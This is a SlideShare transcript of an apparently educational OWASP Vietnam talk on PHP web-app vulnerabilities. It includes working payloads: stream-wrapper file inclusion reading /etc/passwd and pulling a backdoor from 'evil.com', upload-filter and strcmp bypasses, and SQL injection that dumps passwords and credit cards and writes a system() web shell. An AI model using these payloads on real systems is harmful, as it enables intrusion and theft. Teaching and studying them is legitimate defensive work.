SlideShare a Scribd company logo
1 of 54
Download to read offline
OWASP VIETNAM

H4x0rs gonna Hack
Fix or be pwned!
Who?
❏ manhluat (ML)
❏ Web -App Security Pentester
Contact me ...maybe?!
❏ https://twitter.com/manhluat93
❏ manhluat93.php@gmail.com
@tks to g4,w~
Trust something!
$GLOBALS
$_SERVER
$_GET
$_POST

$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
$_SERVER
$_SERVER[‘HTTP_HOST’]
Host: somethingevil
$_SERVER
$_SERVER[‘REQUEST_URI’]
curl "http://localhost/test/http://evil/../../../../test/http_host.php"
[REQUEST_URI] => /test/http://evil/../../../../test/http_host.php

$_SERVER[‘PHP_SELF’]
curl "http://localhost/test/http_host.php/somethingevil"
[PHP_SELF] => /test/http_host.php/somethingevil
$_GET $_POST $_COOKIE
base64_decode($_GET['x']);

GET: ?x[]=evil
POST: x[]=evil
COOKIE: x[]=evil;
strcmp,strncmp,strcasecmp
if(strcmp($_GET[‘x’],$password)==0)
echo “Ok”;

?x[]=1
Zend/zend_builtin_functions.c

<? if(NULL==0) echo ‘OK’; ?>
// output: OK
//Source: /admin/index.php
if($_SESSION[‘login’] != ‘admin’){
header(“Location: login.php”);
}
echo "ADMIN Cpanel";
// ADMINCP functions … Add-Edit blah blah...

cURL is your friend ;)$

curl
http://localhost/admin/index.php -ik
HTTP/1.1

302 Found
Date: Mon, 16 Dec 2013 00:50:41 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.4.9-4ubuntu2.3
Location: login.php
Vary: Accept-Encoding
Content-Length: 119
Content-Type: text/html
<br />
<b>Notice</b>: Undefined variable: _SESSION in <b>index.php</b> on line <b>3</b><br />
ADMIN Cpanel
PHP Streams
fopen
file_get_contents
readfile
include (include_once)
require (require_once)
PHP Stream Wrappers
?x=file:///etc/passwd
?x=data://,evil
?x=php://filter/convert.base64encode/resource=index.php

<?php file_get_contents($_GET[‘x’]); ?>
if(!preg_match(‘#http://www.google.com#is’,$url))
die(‘FAILED’);
include($url);

?url=data://text/html;charset=http://www.google.com,evil();
//TimThumb is a popular script used for image resize.
//Public Exploit for v 1.32 (08/2011):
http://www.exploit-db.com/exploits/17602
…

if ($url_info['host'] == 'www.youtube.com' || …)

?url=data://www.youtube.com/html;,evil();
...
include($_GET[‘lang’].”.txt”);
...

with allow_url_include=on
?lang=http://evil.com/backdoor?
lang=data://,system(‘ls’);#
...
include($_GET[‘lang’].”.txt”);
...
allow_url_include=off
If you have a zip file on target host which includes “evil.txt”?
lang=zip:///tmp/evil.txt.zip#evil?lang=//192.168.1.1//evil
File Upload Script
if($_FILES[‘file’][‘type’] == ‘image/gif’)

Do not trust Content-Type!
Blacklist Filter
if(preg_match(‘#.php$#’,$filename))
die(‘HACKER’);
...
strpos($filename,’php’);
...

evil.PHP
evil.PhP
evil.php5 (preg_match)
Whitelist Filter
...
$allow_type = array(‘jpeg’,’gif’,’png’);
$ext = explode(‘.’,$filename);
$ext = $ext[1];
if(in_array($ext,$allow_type))
move_uploaded_file...

evil.jpeg.php
evil.gif.php
PHP Object Injection
serialize
serialize(1337); // Output: i:1337;
serialize(“OWASP”); //Output: s:5:"OWASP";
serialize(array(‘a’=>’A’));
//Output: a:1:{s:1:"a";s:1:"A";}serialize(new Foo());
//Output: O:3:"Foo":1:{s:4:"name";s:2:"ML";}
unserialize(‘a:1:{s:1:"a";s:1:"A";}’);
//Output: Array(‘a’=>’A’);unserialize(‘O:3:"Foo":1:
{s:4:"name";s:2:"ML";}’);
//Output: Foo Object ( [name] => ML )
Magic Methods
__construct(), __destruct(), __call(),
__callStatic(), __get(), __set(),
__isset(), __unset(), __sleep(),
__wakeup(), __toString(), __invoke(),
__set_state() and __clone()
__construct()Gets called when a new object
is created.
__destruct()Called when there are no more
references to an object or when an object
is destroy
__wakeup()Unserialize() triggers this to
allow reconstruction of resources to be
used
CVE: 2012-5692Invision Power Board <= 3.3.4 "unserialize
()" PHP Code Execution
EXPLOIT TIME
PWNED
Joomla! <= 3.0.2 (highlight.php) PHP Object
Injection Vulnerability
CubeCart <= 5.2.0 (cubecart.class.php) PHP Object
Injection Vulnerability
http://vagosec.org/2013/12/wordpress-rce-exploit
http://prezi.com/5hif_vurb56p/php-object-injection
XSS (Cross-Site Scripting)
This is how you prevent!
<?="<img src='".strip_tags($_GET['src'])."' />";?>

FAILED :(
$input = $_GET['input'];
$input = preg_replace('#</*.+?>#','',$input); // remove
<tag>
$input = preg_replace('#s#','',$input); // remove space
echo "<input type='text' name='vuln' value='".$input."' />";
OOPS :O
CSRF (Cross-site request forgery)

?password=evil&confirm_password=evil&submit=Change%20Password
POST ?!
Easy ;)
Real-World
http://pyx.io/blog/facebook-csrf-leading-to-full-account-takeoverSo, the
course of action to take over victim's account would be:
1. Use "Find contacts on Facebook" from attacker account and log all
requests
2. Find /contact-importer/login request
3. Remove added email from your (attacker) account
4. Get the victim to somehow make the /contact-importer/login request
(infinite possibilities here)
5. Email is now added to victim's account, silently
6. Use "Forgot your password" to take over the account
SQL Injection
…
mysql_query(‘SELECT * FROM news WHERE id = ‘.$_GET[‘id’]);
...

…
mysql_query(‘SELECT * FROM users WHERE name = “‘.$_GET[‘id’].’”’;);
...

…
mysql_query(‘SELECT * FROM news WHERE content LIKE “%‘.$_GET[‘id’].’%”’;);
...
Dump database:
● ?id=1 UNION SELECT version(),null
● ?id=1 UNION SELECT username,password FROM
administrator
● ?id=1 UNION SELECT )numberno,name FROM
creditcards
DoS:
● ?id=1 UNION SELECT benchmark(1,999999),null

Write/Read File (with file_priv = 1):

● ?id=1 UNION SELECT load_file(‘/etc/passwd’),null
● ?id=1 UNION SELECT “<?=system($_GET[x])?>”,null
INTO OUTFILE ‘/var/www/backdoor.php’
htmlspecialchars,htmlentities
$input = ‘123 ' " < > ’; // 123 ‘ “ < > 
htmlspecialchars($input,ENT_QUOTES); //Output: 123 &#039; &quot; &lt; &gt; 
htmlentities($input,ENT_QUOTES); //Output: 123 &#039; &quot; &lt; &gt; 

$username = htmlentities($_POST[‘username’],ENT_QUOTES);
$password = htmlentities($_POST[‘password’],ENT_QUOTES);
SELECT * FROM users WHERE username=”$username” AND password=”$password”

?username=
&password= OR 1-===>... WHERE username=”” AND password=” OR 1--”
mysql_real_escape_string
mysql_real_escape_string() calls MySQL's library function mysql_real_escape_string, which prepends
backslashes to the following characters: x00, n, r, , ', " and x1a.
This function must always (with few exceptions) be used to make data safe before sending a query
to MySQL.

$id = mysql_real_escape_string($_GET[‘id’]);
mysql_query(‘SELECT * FROM news WHERE id = ‘.$id);
...

!!???
?id=1 UNION SELECT version(),null
$type = mysql_real_escape_string($_GET[‘type’]);
mysql_query(‘SELECT * FROM news WHERE

`‘.$type.’`=1’);

mysql_real_escape_string`...` is it a
string ?!...NO
?type=anytype`=1 UNION SELECT
version(),null--
SELECT * FROM users WHERE user LIKE ’{$user}’ AND password LIKE ‘{$pass}’;

?user=admin&password=%
Yahoo!
Sony
Twitter
WHCMS
...
Question?
END.

More Related Content

What's hot

KGC 2016 오픈소스 네트워크 엔진 Super socket 사용하기
KGC 2016 오픈소스 네트워크 엔진 Super socket 사용하기KGC 2016 오픈소스 네트워크 엔진 Super socket 사용하기
KGC 2016 오픈소스 네트워크 엔진 Super socket 사용하기
흥배 최
 

What's hot (20)

XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 
Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop
 
KGC 2016 오픈소스 네트워크 엔진 Super socket 사용하기
KGC 2016 오픈소스 네트워크 엔진 Super socket 사용하기KGC 2016 오픈소스 네트워크 엔진 Super socket 사용하기
KGC 2016 오픈소스 네트워크 엔진 Super socket 사용하기
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
 
Thick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptxThick client pentesting_the-hackers_meetup_version1.0pptx
Thick client pentesting_the-hackers_meetup_version1.0pptx
 
Intro to exploits in metasploitand payloads in msfvenom
Intro to exploits in metasploitand payloads in msfvenomIntro to exploits in metasploitand payloads in msfvenom
Intro to exploits in metasploitand payloads in msfvenom
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHound
 
Web Application Penetration Testing - 101
Web Application Penetration Testing - 101Web Application Penetration Testing - 101
Web Application Penetration Testing - 101
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
Token, token... From SAML to OIDC
Token, token... From SAML to OIDCToken, token... From SAML to OIDC
Token, token... From SAML to OIDC
 
Thick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash CourseThick Application Penetration Testing: Crash Course
Thick Application Penetration Testing: Crash Course
 
Connection Pooling in PostgreSQL using pgbouncer
Connection Pooling in PostgreSQL using pgbouncer Connection Pooling in PostgreSQL using pgbouncer
Connection Pooling in PostgreSQL using pgbouncer
 
Zed Attack Proxy (ZAP)
Zed Attack Proxy (ZAP)Zed Attack Proxy (ZAP)
Zed Attack Proxy (ZAP)
 
Cryptography for Java Developers: Nakov jProfessionals (Jan 2019)
Cryptography for Java Developers: Nakov jProfessionals (Jan 2019)Cryptography for Java Developers: Nakov jProfessionals (Jan 2019)
Cryptography for Java Developers: Nakov jProfessionals (Jan 2019)
 
Codeql Variant Analysis
Codeql Variant AnalysisCodeql Variant Analysis
Codeql Variant Analysis
 
Clean Code
Clean CodeClean Code
Clean Code
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Thick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfThick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdf
 
Hacking SIP Like a Boss!
Hacking SIP Like a Boss!Hacking SIP Like a Boss!
Hacking SIP Like a Boss!
 

Similar to H4x0rs gonna hack

Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman
 
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
ConFoo
 

Similar to H4x0rs gonna hack (20)

Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
 
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacksRoberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
 
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source ProjectPHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
 
Security: Odoo Code Hardening
Security: Odoo Code HardeningSecurity: Odoo Code Hardening
Security: Odoo Code Hardening
 
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville   Web Security 1012009 Barcamp Nashville   Web Security 101
2009 Barcamp Nashville Web Security 101
 
Look Who's Talking
Look Who's TalkingLook Who's Talking
Look Who's Talking
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php Security
 
Webauthn Tutorial
Webauthn TutorialWebauthn Tutorial
Webauthn Tutorial
 
Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)
 
Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?Security 202 - Are you sure your site is secure?
Security 202 - Are you sure your site is secure?
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Web Application Security in Rails
Web Application Security in RailsWeb Application Security in Rails
Web Application Security in Rails
 
Building Secure Twitter Apps
Building Secure Twitter AppsBuilding Secure Twitter Apps
Building Secure Twitter Apps
 
Web Security - Hands-on
Web Security - Hands-onWeb Security - Hands-on
Web Security - Hands-on
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 

Recently uploaded

Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 

Recently uploaded (20)

Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024Manulife - Insurer Innovation Award 2024
Manulife - Insurer Innovation Award 2024
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 

H4x0rs gonna hack